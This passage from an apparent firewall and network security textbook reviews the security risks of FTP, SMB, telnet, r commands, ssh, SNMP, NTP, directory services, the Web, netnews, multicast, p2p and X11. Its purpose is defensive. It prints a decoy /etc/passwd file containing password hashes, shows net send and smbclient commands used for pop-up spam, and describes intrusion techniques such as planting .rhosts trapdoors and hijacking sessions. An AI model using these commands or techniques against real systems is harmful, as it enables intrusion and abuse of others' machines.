The next rule is to avoid leaving a real `/etc/passwd` file in the anonymous FTP area. A real `/etc/passwd` file is a valuable find for an attacker. If your utilities won't choke, delete the file altogether; if you must create one, make it a dummy file, with no real accounts or (especially) hashed passwords.

Ours is shown in Figure 3.3. (Our fake `passwd` file has a set of apparently guessable passwords. They resolve to "why are you wasting your time?" Some hackers have even tried to use those passwords to log in. We once received a call from our corporate security folks. They very somberly announced that the *root* password for our gateway machines had found its way to a hacker's bulletin board they were watching. With some concern, we asked what the password was. Their answer: `why`.)

Whether or not one should create a publicly writable directory for incoming files is quite controversial. Although such a directory is an undoubted convenience, denizens of the Internet demimonde have found ways to abuse them. You may find that your machine has become a repository for pirated software ("warez") or digital erotica. This repository may be permanent or transitory; in the latter case, individuals desiring anonymity from one another use your machine as an electronic interchange track. One deposits the desired files and informs the other of their location; the second picks them up and deletes them. (Resist the temptation to infect pirated software with viruses. Such actions are not ethical. However, after paying due regard to copyright law, it is proper to replace such programs with versions that print out homilies on theft, and to replace the images with pictures of convicted politicians or CEOs.)

```
root:DZo0RWR.7DJuU:0:2:0000-Admin(0000):/:
daemon:*:1:1:0000-Admin(0000):/:
bin:*:2:2:0000-Admin(0000):/bin:
sys:*:3:3:0000-Admin(0000):/usr/v9/src:
adm:*:4:4:0000-Admin(0000):/usr/adm:
uucp:*:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:*:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico
ftp:anonymous:71:14:file transfer:/:no soap
research:nologin:150:10:ftp distribution account:/forget:/it/baby
ches:La9Cr9ld9qTQY:200:1:me:/u/ches:/bin/sh
dmr:laHheQ.H9iy6I:202:1:Dennis:/u/dmr:/bin/sh
rtm:5bHD/k5k2mTTs:203:1:Robert:/u/rtm:/bin/sh
adb:dcScD6gKF./Z6:205:1:Alan:/u/adb:/bin/sh
td:deJCw4bQcNT3Y:206:1:Tom:/u/td:/bin/sh
```

Figure 3.3: The bogus `/etc/passwd` file in our old anonymous FTP area.

Our users occasionally need to import a file from a colleague in the outside world. Our anonymous FTP server[1] is read-only. Outsiders can leave their files in *their* outgoing FTP directory, or e-mail the file. (Our e-mail permits transfers of many megabytes.) If the file is proprietary, encrypt it with something like PGP.

If you must have a writable directory, use an FTP server that understands the notions of "inside" and "outside." Files created by an outsider should be tagged so that they are not readable by other outsiders. Alternatively, create a directory with search (`x`) but not read (`r`) permission, and create oddly named writable directories underneath it. Authorized senders—those who have been informed that they should send to `/private/32-frobozz#$`—can deposit files in there, for your users to retrieve at their leisure.

Note that the Bad Guys can still arrange to store their files on your host. They can create a new subdirectory under your unsearchable one with a known name, and publish that path. The defense, of course, is to ensure that only insiders can create such directories.

There are better ways to feed an FTP directory than making directories writable. We like to use *rsync* running over *ssh*.

A final caution is to regard anything in the FTP area as potentially contaminated. This is especially true with respect to executable commands there, notably the copy of *ls* that many servers require. To guard your site against changes to this command, make it executable by the group that *ftp* is in, but not by ordinary users of your machine. (This is a defense against compromise of the FTP area itself. The question of whether or not you should trust files imported from the outside—you probably shouldn't—is a separate one.)

3.4.3 SMB Protocol

The *Server Message Block (SMB)* protocols have been used by Microsoft and IBM PC operating systems since the mid-1980s. The protocols have evolved slowly, and now appear to be drifting

1. `http://www.theargon.com/archives/firewalls/fwtk/Patches/aftpd_tar.Z`

toward the *Common Internet File System (CIFS)*, a new open file-sharing protocol promoted by Microsoft. SMB is transported on various network services; these days, TCP/IP-based mechanisms are the most interesting [NetBIOS Working Group in the Defense Advanced Research Projects Agency *et al.*, 1987a, 1987b].

These services are used whenever a Microsoft Windows system shares its files and printers. The most common security error is sharing file systems with no authentication at all. Programs are available (such as *nbaudit*) that scan for active ports in the range 135–139, and sometimes port 445, and extract system and file access information. Open file systems can be raided for secrets, or have viruses written to them (CERT Incident Note IN-2000-02). NetBIOS commands can be used for denial-of-service attacks (CERT Vulnerability Note VU#32650 - DOS). It is difficult to judge if there are fundamental bugs in the way Microsoft servers implement these services.

For UNIX systems, these protocols are supported by the popular package *samba* (see `http://www.samba.org/`.). Alas, this full-featured package is too complex for our tastes. We show how to put it in a jail in Section 8.10.

The various NetBIOS TCP ports should be accessible only to the community that needs access. It is asking for trouble to give the public access to them. These days, even Windows will caution you about the dangers.

Still not persuaded? Consider a new spamming technique based on services running on these ports—it pops up windows and delivers ads. You can test it yourself; from a Windows command prompt, type

```
net send WINSname 'your message here'
```

or, from UNIX systems with Samba installed, type

```
smbclient -M WINSname
your message here
^D
```

3.5 Remote Login

3.5.1 Telnet

Telnet provides simple terminal access to a machine. The protocol includes provisions for handling various terminal settings such as raw mode, character echo, and so on. As a rule, *telnet* daemons call *login* to authenticate and initialize the session. The caller supplies an account name and usually a password to *login*.

Most *telnet* sessions come from untrusted machines. Neither the calling program, the calling operating system, nor the intervening networks can be trusted. *The password and the terminal session are available to prying eyes.* The local *telnet* program may be compromised to record username and password combinations or to log the entire session. This is a common hacking trick, and we have seen it employed often.

In 1994, password *sniffers* were discovered on a number of well-placed hosts belonging to major *Internet service providers (ISPs)*. These sniffers had access to a significant percent of the

Internet traffic flow. They recorded the first 128 characters of each *telnet*, *ftp*, and *rlogin* that passed. This is enough to record the destination host, username, and password.

These sniffers are often discovered when a disk fills up and the system administrator investigates. On the other hand, there are now sniffers available that encrypt their information with public keys, and ship them elsewhere.

Traditional passwords are not reliable when any part of the communications link is tapped. *We strongly recommend the use of a one-time password scheme.* The best are based on some sort of handheld authenticator (see Chapter 7 for a more complete discussion of this and other options).

The authenticators can secure a login nicely, but they do not protect the rest of a session. Wiretappers can read the text of the session (perhaps proprietary information read during the session), or even hijack the session after authentication is complete (see Section 5.10.) If the *telnet* command has been tampered with, it could insert unwanted commands into your session or retain the connection after you think you have logged off.

The same could be done by an opponent who plays games with the wires. Since early 1995, the hacking community has had access to *TCP hijacking* tools, which enable them to commandeer TCP sessions under certain circumstances. *Telnet* and *rlogin* sessions are quite attractive targets. Our one-time passwords do not protect us against this kind of attack using standard *telnet*.

It is possible to encrypt *telnet* sessions, as discussed in Chapter 18. But encryption is useless if you cannot trust one of the endpoints. Indeed, it can be worse than useless: The untrusted endpoint must be provided with your key, thus compromising it. Several encrypted *telnet* solutions have appeared. Examples include *stel* [Vincenzetti *et al.*, 1995], *SSLtelnet*, *stelnet* [Blaze and Bellovin, 1995], and especially *ssh* [Ylönen, 1996].

There is also a standardized version of encrypting *telnet* [Ts'o, 2000], but it isn't clear how many vendors will implement it. *Ssh* appears to be the de facto standard.

3.5.2 The "*r*" Commands

> To the first order, every computer in the world is connected to every other computer.
>
> —BOB MORRIS

The "*r*" commands rely on the BSD authentication mechanism. One can *rlogin* to a remote machine without entering a password if the authentication's criteria are met. These criteria are as follows:

- The call must originate from a privileged TCP port. On other systems (like PCs) there are no such restrictions, nor do they make any sense. A corollary of this is that *rlogin* and *rsh* calls should be permitted only from machines on which this restriction is enforced.
- The calling user and machine must be listed in the destination machine's list of trusted partners (typically `/etc/hosts.equiv`) or in a user's `.rhosts` file.
- The caller's name must correspond to its IP address. (Most current implementations check this. See Section 2.2.2.)

From a user's viewpoint, this scheme works fairly well. Users can bless the machines they want to use, and won't be bothered by passwords when reaching out to more computers.

For the hackers, these routines offer two benefits: a way into a machine, and an entry into even more trusted machines once the first computer is breached. A principal goal of probing hackers is to deposit an appropriate entry into `/etc/hosts.equiv` or some user's `.rhosts` file. They may try to use FTP, *uucp*, TFTP, or some other means. They frequently target the home directory of accounts not usually accessed in this manner, such as *root*, *bin*, *ftp*, or *uucp*. Be especially wary of the latter two, as they are file transfer accounts that often own their own home directories. We have seen *uucp* being used to deposit a `.rhosts` file in `/usr/spool/uucppublic`, and FTP used to deposit one in `/usr/ftp`. The permission and ownership structure of the server machine must be set up to prohibit this, and it frequently is not.

The connection is validated by the IP address and reverse DNS entry of the caller. Both of these are suspect: The hackers have the tools needed for IP spoofing attacks (see Section 2.1.1) and the compromise of DNS (see Section 2.2.2). Address-based authentication is generally very weak, and only suitable in certain very controlled situations. It is a poor choice in most situations where the *r* commands are currently employed.

When hackers have acquired an account on a computer, their first goals are usually to cover their tracks by erasing logs (not that most versions of the *rsh* daemon create any), attain *root* access, and leave trapdoors to get back in, even if the original access route is closed. The `/etc/hosts.equiv` and `$HOME/.rhosts` files are a fine route.

Once an account is penetrated on one machine, many other computers may be accessible. The hacker can get a list of likely trusting machines from `/etc/hosts.equiv`, files in the user's `bin` directory, or by checking the user's shell history file. Other system logs may suggest other trusting machines. With other `/etc/passwd` files available for dictionary attacks, the target site may be facing a major disaster.

Notice that quite of a bit of a machine's security is in the hands of the user, who can bless remote machines in his or her own `.rhosts` file and can make the `.rhosts` file world-writable. We think these decisions should be made only by the system administrator. Some versions of the *rlogin* and *rsh* daemons provide a mechanism to enforce this; if yours do not, a *cron* job that hunts down rogue `.rhosts` files might be in order.

Given the many weaknesses of this authentication system, we do not recommend that these services be available on computers that are accessible from the Internet, and we do not support them to or through our gateways. Of course, note the quote at the start of this section: You may have more machines at risk than you think. Even if there is no direct access to the Internet, an inside hacker can use these commands to devastate a company.

There is a delicate trade-off here. The usual alternative to *rlogin* is to use *telnet* plus a cleartext password, a choice that has its own vulnerabilities. In many situations, the perils of the latter outweigh the risks of the former; your behavior should be adjusted accordingly.

The *r* commands are a major means by which hackers spread their attack through a trusting community. If host A trusts host B, and B trusts C, then A and C are connected by transitive trust. An attacker only needs to break into a single host, the weakest link, of a group of computers. The rest of the hosts just let them log in. We wonder how interlinked a large corporation's intranet may be based simply on this transitive relation of trust.

There is one more use for *rlogind* that is worth mentioning. The protocol is capable of carrying extra information that the user supplies on the command line, nominally as the remote login name. This can be overloaded to contain a host name as well, perhaps to supply additional information to an intermediate relay host. This is safe as long as you do not grant any privileges based on the information thus received. Hackers have used this data path to open previously installed back doors in systems.

3.5.3 *Ssh*

Ssh [Ylönen, 1996] is a replacement for *rlogin*, *rdist*, *rsh* and *rcp*, written by Tatu Ylönen. It includes replacement programs—*ssh* and *scp*—that have the same user interface as *rsh* and *rcp*, but use an encrypted protocol. It also includes a mechanism that can tunnel X11 or arbitrary TCP ports.

A variety of encryption and authentication methods are available. *Ssh* can supplement or replace traditional host and password authentication with RSA- or DSA-keyed and challenge response authentication.

It is a fundamental tool for the modern network administrator, although it takes a bit of study to install it safely. There is much to configure: authentication type, encryption used, host keys, and so on. Each host has a unique key, but users can have their own keys, too. Moreover, the user keys can be passed on to subsequent connections using the *ssh-agent*. There are two protocols, numbers one and two, and the first has had a number of problems—we stick to protocol two when we can, though we must sometimes support older implementations that only speak protocol one.

We have a number of concerns about *ssh* and its configuration and protocols:

- The original protocol was custom-designed. This is always dangerous—protocol design is a black art, and looks much easier than it is. History has shown that Tatu did a decent job, but there have been problems (*c.f.* CERT Vulnerability Note VU#596827). On at least two occasions so far, the protocol has been changed in response to security problems. The fixes were prompt, and we have some fair confidence in the protocol. Even with the flaws, *ssh* has been much safer than the alternatives.

  An IETF standards group is working on standardizing version 2 of the protocol.

- The server runs as *root* (this one really needs to) and is complicated, hard to audit, and dangerous (CERT Advisory CA-1999-15, CERT Vulnerability Note VU#40327).

- The server cannot specify authentication at the client level. For example, the *sshd* server is configured with `PasswordAuthentication yes` or `no`, for all clients. The selection of the authentication method should belong to the owner of the machine, and be configured in the owner's server. In addition, the owner should be able to decide that for this host key, no password is needed, and for other hosts, a password or user key is required. The host-specific entries of `ssh_config` should be implemented in `sshd_config`.

- Commercialization of *ssh* caused a code split. The commercial version now competes with *OpenSSH*. There are a variety of Windows-based versions of varying capabilities and prices. The freeware *putty* client is nice, as it requires no installation.

- All our eggs are in the *ssh* basket. A major hole here causes thousands of administrators to drop everything and scramble to repair the problem. Unfortunately, this has happened more than once. It seems to happen when the administrator is traveling...
- The user can lock an RSA or DSA key in a file with a passphrase. If the host is compromised, that file is subject to dictionary attacks.
- One can tunnel other protocols over *ssh* and thus evade firewalls.

We discuss how to use *ssh* safely in Section 8.2, and the cryptographic options in Section 18.4.1.

3.6 Simple Network Management Protocol—SNMP

The *Simple Network Management Protocol (SNMP)* [Case *et al.*, 1990] is used to control routers bridges, and other network elements. It is used to read and write an astonishing variety of information about the device: operating system, version, routing tables, default TTL, traffic statistics, interface names, ARP tables, and so on. Some of this data can be surprisingly sensitive. For example, ISPs may jealously guard their traffic statistics for business reasons.

The protocol supports read, write, and alert messages. The reads are performed by GET and GETNEXT messages. (GET returns a specific item; GETNEXT is used to enumerate all of the entries in a data structure.) A single record is returned for each, as this uses UDP packets. SET messages write data, and TRAPs can indicate alarms asynchronously. A heavy series of messages can load down a router's CPU.

The data object is defined in a *management information base (MIB)*. MIB entries are in turn encoded in *ASN.1*, a data specification language of some complexity. To obtain a piece of information from a router, one uses a standard MIB, or perhaps downloads a special MIB entry from the manufacturer. These MIBS are not always well tested for security issues.

Given ASN.1's complexity, few compilers have been written for it—instead, they were shared and propagated. In late 2001, several of these implementations failed a series of tests run by the Oulu University Secure Programming Group, resulting in CERT Advisory CA-2002-03. Numerous implementations of SNMP (and other vital protocols) were subject to possible attack through their ASN.1 processing.

In principle, at least some of the encoded ASN.1 fields can be passed through a sanity checker that will eliminate the more egregious mistakes. But there's not much an outboard parser can do if a field is 1024 bytes long when the application is expecting 128 bytes. Furthermore, there are ill-behaved specifications based on ASN.1, whereby substructures are encoded as byte strings, thus rendering them almost opaque to such sanity checkers. (In some cases, it's possible to use heuristics to detect such things. But those can obviously encounter false positives; in addition, they can have false negatives in exactly the situation where you want to find them: where the data is ill-formed.)

The SNMP protocol itself comes in two major versions, numbers one and three. (SNMPv2 was never deployed.) The most widely deployed is version 1. It is also the least secure. Access is granted using a *community string* (*i.e.*, password), which is transmitted in the clear in version 1.

Most implementations default to the well-known string "public," but hackers publish extensive and effective lists of other community strings in use. In many cases, the community string (especially "public") grants only read access, but we have seen that this can leak sensitive data. For network management, write permission is usually needed as well. Many sites find SNMP useless for configuring routers, but many small devices like printers and access hubs *require* SNMP access as the only way to administer them, and a community string for write access. Some hosts, such as Solaris machines, also run SNMP servers.

Clearly, it is dangerous to allow strangers access to SNMP servers running version.1. SNMP version.3 has much better security—cryptographic authentication, optional encryption, and most important, the ability to grant different access rights to portions of the MIB to different users. The crypto authentication can be expensive, and routers typically have weak CPUs, so it may be best to restrict access to these services as well. Version 3 security is discussed further in [Blumenthal and Wijnen, 1999].

3.7 The Network Time Protocol

The *Network Time Protocol (NTP)* [Mills, 1992] is a valuable adjunct to gateway machines. As its name implies, it is used to synchronize a machine's clock with the outside world. It is not a voting protocol; rather, NTP supports the notion of absolute correct time, as disclosed to the network by machines with atomic clocks or radio clocks tuned to national time synchronization services. Each machine talks to one or more neighbors; the machines organize themselves into a directed graph, depending on their distance from an authoritative time source. Comparisons among multiple sources of time information enable NTP servers to discard erroneous inputs; this provides a high degree of protection against deliberate subversion as well.

The *Global Positioning System (GPS)* receivers can supply very cheap and accurate time information to a master host running *ntp*. Sites concerned with security should have a source of accurate time. Of course, the satellite signals don't penetrate well to most machine rooms, which creates wiring issues.

Knowing the correct time enables you to match log files from different machines. The timekeeping ability of NTP is so good (generally to within an accuracy of 10 ms or better) that one can easily use it to determine the relative timings of probes to different machines, even when they occur nearly simultaneously. Such information can be very useful in understanding the attacker's technology. An additional use for accurate timestamps is in cryptographic protocols; certain vulnerabilities can be reduced if one can rely on tightly synchronized clocks.

Log files based on the NTP data can also provide clues to actual penetrations. Hackers are fond of replacing various system commands and changing the per-file timestamps to remove evidence of their activities. On UNIX systems, though, one of the timestamps—the "i-node changed" field—cannot be changed explicitly; rather, it reflects the system clock as of when any other changes are made to the file. To reset the field, hackers can and do temporarily change the system clock to match. But fluctuations are quite distressing to NTP servers, which think that they are the only ones playing with the time of day; and when they are upset in this fashion, they tend to mutter complaints to the log file.

NTP itself can be the target of various attacks [Bishop, 1990]. In general, the point of such an attack is to change the target's idea of the correct time. Consider, for example, a time-based authentication device or protocol. If you can reset a machine's clock to an earlier value, you can replay an old authentication string.

To defend against such attacks, newer versions of NTP provide for cryptographic authentication of messages. Although a useful feature, it is somewhat less valuable than it might seem, because the authentication is done on a hop-by-hop basis. An attacker who cannot speak directly to your NTP daemon may nevertheless confuse your clock by attacking the servers from which your daemon learns of the correct time. In other words, to be secure, you should verify that your time sources also have authenticated connections to their sources, and so on, up to the root. (Defending against low-powered transmitters that might confuse a radio clock is beyond the scope of this book.) You should also configure your NTP daemon to ignore trace requests from outsiders; you don't want to give away information on other tempting targets.

3.8 Information Services

Three standard protocols, *finger* [Harrenstien, 1977], *whois* [Harrenstien *et al.*, 1985], and LDAP [Yeong *et al.*, 1995], are commonly used to look up information about individuals. *Whois* is usually run on one of the hosts serving the Internet registrar databases. *Finger* is run on many hosts by default. *Finger* is sometimes used to publish public key data as well.

3.8.1 Finger: Looking Up People

The *finger* protocol can be used to get information about either an individual user or the users logged on to a system. The amount and quality of the information returned can be cause for concern. Farmer and Venema [1993] call *finger* "one of the most dangerous services, because it is so useful for investigating a potential target." It provides personal information, which is useful for password-guessing; where the user last connected from (and hence a likely target for an indirect attack); and when the account was last used (seldom-used accounts are attractive to hackers, because their owners are not likely to notice their abuse).

Finger is rarely run on firewalls, and hence is not a major concern for firewalled sites. If someone is on the inside of your firewall, they can probably get a lot of the same information in other ways. But if you do leave machines exposed to the outside, you'd be wise to disable or restrict the *finger* daemon.

3.8.2 Whois—Database Lookup Service

This simple service is run by the various domain name registries. It can be used to look up domain name ownership and other such information in their databases.

We wouldn't bother mentioning this service—most people run the client, not the server—but we know of several cases in which this service was used to break into the registrar databases and make unauthorized changes. It seems that the *whois* server wasn't checking its inputs for shell escapes.

If you run one of the few sites that need to supply this service, you should check the code carefully. It has not been widely run and examined, and has a history of being dangerous.

3.8.3 LDAP

More and more, sites are using *Lightweight Directory Access Protocol (LDAP)* [Yeong *et al.*, 1995] to supply things like directory data and public key certificates. Many mailers can be configured to use LDAP instead of or in addition to a local address book. Danger lurks here.

First, of course, there's the semantic similarity to *finger*: It's providing the same sorts of information, and thus shares the same risks. Second, it uses ASN.1, and inherits those vulnerabilities. Finally, if you do decide to deploy it, be careful to choose a suitable authentication mechanism from among the many available [Wahl *et al.*, 2000].

3.8.4 World Wide Web

The *World Wide Web (WWW)* service has grown so explosively that many laypeople confuse this single service with the entire Internet. Web browsers will actually process a number of Internet services based on the name at the beginning of the *Uniform Resource Locator (URL)*. The most common services are *HTTP*, with FTP a distant second.

Generally, a host contacts a server, sends a query or information pointer, and receives a response. The response may be either a file to be displayed or one or more pointers to some other server. The queries, the documents, and the pointers are all potential sources of danger.

In some cases, returned document formats include format tags, which implicitly specify the program to be used to process the document. It is dangerous to let someone else decide what program you should run, and even more dangerous when they get to supply the input.

Similarly, MIME encoding can be used to return data to the client. As described earlier, numerous alligators lurk in that swamp; great care is advised.

The server is in some danger, too, if it blindly accepts URLs. URLs generally have filenames embedded in them [Berners-Lee *et al.*, 1994]; are those files ones that should be available to users? Although the servers do attempt to verify that the requested files are authorized for transfer, the verification process is historically buggy. These programs often botch the processing of "`..`", for example, and symbolic links on the server can have unforeseen effects. Failures here can let outsiders retrieve any file on the server's machine.

Sometimes, the returned pointer is a host address and port, and a short login dialog. We have heard of instances where the port was actually the mail port, and the dialog a short script to send annoying mail to someone. That sort of childish behavior falls in the nuisance category, but it may lead to more serious problems in the future. If, for example, a version of *telnet* becomes popular that uses preauthenticated connections, the same stunt could enable someone to log in and execute various commands on behalf of the attacker.

One danger in this vein results when the server shares a directory tree with anonymous FTP. In that case, an attacker can first deposit control files and then ask the Web server to treat them as CGI scripts, *i.e.*, as programs to execute. This danger can be avoided if *all* publicly writable directories in the anonymous FTP area are owned by the group under which the information server runs, and the group-search bit is turned off for those directories. That will block access by the server to

anything in those directories. (Legitimate uploads can and should be moved to a permanent area in a write-protected directory.)

The biggest danger, though, is from the queries. The most interesting ones do not involve a simple directory lookup. Rather, they run some script written by the information provider—and that means that the script is itself a network server, with all the dangers that entails. Worse yet, these scripts are often written in Perl or as shell scripts, which means that these powerful interpreters must reside in the network service area.

If at all possible, WWW servers should execute in a restricted environment, preferably safeguarded by *chroot* (see Section 8.5 for further discussions).

This section deals with security issues on the WWW as a service, in the context of our security review of protocols. Chapter 4 is devoted entirely to the Web, including the protocols, client issues, and server issues.

3.8.5 NNTP—Network News Transfer Protocol

Netnews is often transferred by the *Network News Transfer Protocol (NNTP)* [Kantor and Lapsley, 1986]. The dialog is similar to that used for SMTP. There is some disagreement about how NNTP should be passed through firewalls.

The obvious way is to treat it the same as mail. That is, incoming and outgoing news articles should be processed and relayed by the gateway machine. But there are a number of disadvantages to that approach.

First of all, netnews is a resource hog. It consumes vast amounts of disk space, file slots, inodes, CPU time, and so on. At this writing, some report the daily netnews volume at several gigabytes.[2] You may not want to bog down your regular gateway with such matters. Concomitant with this are the associated programs to manage the database, notably *expire* and friends. These take some administrative effort, and represent a moderately large amount of software for the gateway administrator to have to worry about.

Second, all of these programs may represent a security weakness. There have been some problems in *nntpd*, as well as in the rest of the netnews subsystem. The news distribution software contains *snntp*, which is a simpler and probably safer version of *nntp*. It lacks some of *nntp*'s functionality, but is suitable for moving news through a gateway. At least neither server needs to run as *root*.

Third, many firewall architectures, including ours, are designed on the assumption that the gateway machine may be compromised. That means that no company-proprietary newsgroups should reside on the gateway, and that it should therefore not be an internal news hub.

Fourth, NNTP has one big advantage over SMTP: You know who your neighbors are for NNTP. You can use this information to reject unfriendly connection requests.

Finally, if the gateway machine does receive news, it needs to use some mechanism, probably NNTP, to pass on the articles received. Thus, if there is a hole in NNTP, the inside news machine would be just as vulnerable to attack by whomever had taken over the gateway.

For all these reasons, some people suggest that a tunneling strategy be used instead, with NNTP running on an inside machine. They punch a hole in their firewall to let this traffic in.

2. One of the authors, Steve, was a co-developer of netnews. He points out that the statute of limitations has passed.

Note that this choice isn't risk-free. If there are still problems in *nntpd*, the attacker can pass through the tunnel. But any alternative that doesn't involve a separate transport mechanism (such as *uucp*, although that has its own very large share of security holes) would expose you to similar dangers.

3.8.6 Multicasting and the MBone

Multicasting is a generalization of the notions of *unicast* and *broadcast*. Instead of a packet being sent to just one destination, or to all destinations on a network, a multicast packet is sent to some subset of those destinations, ranging from no hosts to all hosts. The low-order 28 bits of a IPv4 multicast address identify the *multicast group* to which a packet is destined. Hosts may belong to zero or more multicast groups.

On wide area links, the multicast routers speak among themselves by encapsulating the entire packet, including the IP header, in another IP packet, with a normal destination address. When the packet arrives on that destination machine, the encapsulation is stripped off. The packet is then forwarded to other multicast routers, transmitted on the proper local networks, or both. Final destinations are generally UDP ports.

Specially configured hosts can be used to tunnel multicast streams past routers that do not support multicasting. They speak a special routing protocol, the *Distance Vector Multicast Routing Protocol (DVMRP)*. Hosts on a network inform the local multicast router of their group memberships using *IGMP*, the *Internet Group Management Protocol* [Cain *et al.*, 2002]. That router, in turn, forwards only packets that are needed by some local machines. The intent, of course, is to limit the local network traffic.

A number of interesting network applications use the MBone—the multicast backbone on the Internet—to reach large audiences. These include two-way audio and sometimes video transmissions of things like Internet Talk Radio, meetings of the *Internet Engineering Task Force (IETF)*, NASA coverage of space shuttle activity, and even presidential addresses. (No, the space shuttle coverage isn't two-way; you can't talk to astronauts in midflight. But there are plans to connect a workstation on the space station to the Internet.) A session directory service provides information on what "channels"—multicast groups and port numbers—are available.

The MBone presents problems for firewall-protected sites. The encapsulation hides the ultimate destination of the packet. The MBone thus provides a path past the filtering mechanism. Even if the filter understands multicasting and encapsulation, it cannot act on the destination UDP port number because the network audio sessions use random ports. Nor is consulting the session directory useful. Anyone is allowed to register new sessions, on any arbitrary port above 3456. A hacker could thus attack any service where receipt of a single UDP packet could do harm. Certain RPC-based protocols come to mind. This is becoming a pressing problem for gatekeepers as internal users learn of multicasting and want better access through a gateway.

By convention, dynamically assigned MBone ports are in the range 32769–65535. To some extent, this can be used to do filtering, as many hosts avoid selecting numbers with the sign bit on. The session directory program provides hooks that allow the user to request that a given channel be permitted to pass through a firewall (assuming, of course, that your firewall can respond to

dynamic reconfiguration requests). Some older port numbers are grandfathered.

A better idea would be to change the multicast support so that such packets are not delivered to ports that have not expressly requested the ability to receive them. It is rarely sensible to hand multicast packets to nonmulticast protocols.

If you use multicasting for internal purposes, you need to ensure that your sensitive internal traffic is not exported to the Internet. This can be done by using short TTLs and/or the prefix allocation scheme described in RFC 2365 [Meyer, 1998].

3.9 Proprietary Protocols

Anyone can invent and deploy a new protocol. Indeed, that is one of the strengths of the Internet. Only the interested hosts need to agree on the protocol, and all they have to do to talk is pick a port number between 1 and 65535.

Many companies have invented new protocols to provide new services or specialized access to their software products. Most network services try to enforce their own security, but we are in no position to judge their efforts. The protocols are secret, the programs are large, and we seldom have access to the source code to audit them ourselves. For some commercial servers, the source code is available only to the people who wrote the software, plus *anyone who hacked into those companies.* Such problems have hurt several well-known vendors, and resulted in the spread of dangerous information, mostly limited to the Bad Guys.

But hacking into a company isn't necessary if you want to find holes in a protocol: Reverse-engineering software or over-the-wire protocols is remarkably easy. It happens constantly—witness the never-ending stream of security holes reported in popular closed-source commercial products.

The following sections describe some popular network services.

3.9.1 RealAudio

RealAudio was developed by Real Networks and has become a *de facto* standard for transmitting voice and music over the Internet. In the preferred implementation, a client connects to a RealAudio server using TCP, and the audio data comes back via UDP packets with some random high port number.

We don't like accepting streams of incoming UDP packets because they can be directed at other UDP services. Though UDP is clearly the correct technology for an audio stream, we prefer to use the TCP link for the audio data because we have more control of the data at the firewall. Though RealAudio lacked this at the beginning, a user can now select this connection method, which is consistent with the convenient and generally safe firewall policy of permitting arbitrary outgoing TCP connections only.

3.9.2 Oracle's SQL*Net

Oracle's SQL*Net protocol provides access to a database server, typically from a Web server. The protocol is secret. If you trust the security of an Oracle server and software, this secrecy is

not a big problem. The problem is that the server may require a number of additional ports for multiple processing. These ports are apparently assigned at random by the host operating system, and transmitted through the main connection, in a mechanism similar to *rpcbind*. A firewall must either open a wide number of ports or run a proprietary proxy program (available from some firewall vendors) to control this flow.

From a security standpoint, Oracle could have been more cooperative, without compromising the secrecy of their protocol. For example, on UNIX hosts, they could control the range of ports used by asking for specific ports, rather than asking the operating system for any arbitrary port. This would let the network administrator open a small range of incoming ports to the server host. Alternately, the protocol itself could multiplex the various connections through the single permitted port.

The security of this particular protocol is unknown. Are Oracle servers secure from abuse by intruders? What database configuration is needed to secure the server? Such questions are beyond the scope of this book.

3.9.3 Other Proprietary Services

Some programs, particularly on Windows systems, install *spyware*, *adware*, or *foistware*. This extra software, installed without the knowledge of the computer owner, can eavesdrop and collect system and network usage information, and even divert packet flows through special logging hosts. Besides the obvious problems this creates, bugs in these programs could pose further danger, and because users do not know that they are running these programs, they are not likely to upgrade or install patches.

3.10 Peer-to-Peer Networking

If you want to be on the cutting edge of software, run some *peer-to-peer* (also known as *p2p*) applications. If you want to be on the cutting edge of software but *not* the cutting edge of the legal system, be careful about what you're doing with peer-to-peer. Moreover, if you have a serious security policy as well as a need for peer-to-peer, you have a problem.

Legal issues aside—if you're not uploading or downloading someone else's copyrighted material, that question probably doesn't apply to you—peer-to-peer networking presents some unique challenges. The basic behavior is exactly what its name implies: all nodes are equal, rather than some being clients and some servers.

But that's precisely the problem: many different nodes act as servers. This means that trying to secure just a few machines doesn't work anymore—*every* participating machine is offering up resources, and must be protected. That problem is compounded if you're trying to offer the service through a firewall: The p2p port has to be opened for many different machines.

The biggest issue, of course, is bugs in the p2p software or configuration. Apart from the usual plague of buffer overflows, there is the significant risk of offering up the wrong files, such as by the "`..`" problem mentioned earlier. Here, you have to find and fix the problem on many different machines. In fact, you may not even know which machines are running that software.

Beyond that, there are human interface issues, similar to those that plague some mailers. Is that really a `.doc` file you're clicking on, or is it a `.exe` file with `.doc` embedded in the name?

If you—or your users—are file-sharing, you have more problems, even without considering the copyright issue. Many of the commercial clients are infected with adware or worse; the license agreements on some of these packages permit the supplier to install and run arbitrary programs on your machines. Do you really want that? These programs are hard to block, too; they're port number–agile, and often incorporate features designed to frustrate firewalls. Your best defense, other than a strong policy statement, is a good intrusion detection system, plus a network management system that looks for excess traffic to or from particular machines.

3.11 The X11 Window System

X11 [Scheifler and Gettys, 1992] is the dominant windowing system used on UNIX systems. It uses the network for communication between applications and the I/O devices (the screen, the mouse, and so on), which allows the applications to reside on different machines. This is the source of much of the power of X11. It is also the source of great danger.

The fundamental concept of X11 is the somewhat disconcerting notion that the user's terminal is a server. This is quite the reverse of the usual pattern, in which the per-user, small, dumb machines are the clients, requesting services via the network from assorted servers. The server controls all of the interaction devices. Applications make calls to this server when they wish to talk to the user. It does not matter how these applications are invoked; the window system need not have any hand in their creation. If they know the magic tokens—the network address of the server—they can connect.

In short, we give away control of our mouse, keyboard, and screen.

Applications that have connected to an X11 server can do all sorts of things. They can detect keypresses, dump the screen contents, generate synthetic keypresses for applications that will permit them, and so on. In other words, if an enemy has connected to your keyboard you can kiss your computer assets good-bye. It is possible for an application to grab sole control of the keyboard when it wants to do things like read a password. Few users use that feature. Even if they did, another mechanism that can't be locked out will let you poll the keyboard up/down status map.

The problem is now clear. An attacker anywhere on the Internet can probe for X11 servers. If they are unprotected, as is often the case, this connection will succeed, generally without notification to the user. Nor is the port number difficult to guess; it is almost always port 6000 plus a very small integer, usually zero.

One application, the window manager, has special properties. It uses certain unusual primitives so that it can open and close other windows, resize them, and so on. Nevertheless, it is an ordinary application in one very important sense: It, too, issues network requests to talk to the server.

A number of protection mechanisms are present in X11. Not all are particularly secure. The first level is host address-based authentication. The server retrieves the network source address of the application and compares it against a list of allowable sources; connection requests from unauthorized hosts are rejected, often without any notification to the user. Furthermore, the gran-

ularity of this scheme is tied to the level of the requesting machine, not an individual. There is no protection against unauthorized users connecting from that machine to an X11 server. IP spoofing and hijacking tools are available on the Internet.

